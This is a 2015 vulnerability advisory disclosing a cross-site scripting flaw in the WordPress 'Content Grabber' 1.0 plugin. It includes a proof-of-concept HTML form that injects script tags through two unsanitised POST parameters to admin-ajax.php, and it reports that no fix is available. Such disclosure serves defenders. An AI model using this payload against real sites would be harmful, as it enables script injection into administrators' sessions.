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WordPress Content Grabber 1.0 Cross Site Scripting

WordPress Content Grabber 1.0 Cross Site Scripting
Posted Jul 30, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Content Grabber plugin version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 9fae7c7bc51ca33cb9179fabe3e50e3e

WordPress Content Grabber 1.0 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Content Grabber' Plugin 
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-14
Download:
- https://wordpress.org/plugins/content-grabber/
- https://plugins.svn.wordpress.org/content-grabber/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
A plugin to help you grab content of any post type and display them as you want

## Vulnerabilities
==========================================================
Two POST parameters (obj_field_name and obj_field_id) are printed unsanitized when the 'get_terms_taxonomies' action is executed.

PoC:

Log in as admin and submit the following request:

<form method="POST" action="[URL]/wp-admin/admin-ajax.php">
<input type="text" name="action" value="get_terms_taxonomies"><br />
<input type="text" name="post_type" value="post" ><br />
<input type="text" name="obj_field_name" value="widget-cg_content_grabber[3][cat_id]"><script>alert(1)</script>" ><br />
<input type="text" name="obj_field_id" value="widget-cg_content_grabber-3-cat_id"><script>alert(2)</script>" ><br />
<input type="text" name="cat_id_array" value="["1"]" ><br />
<input type="submit">
</form>

## Solution
==========================================================
No fix available

==========================================================
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

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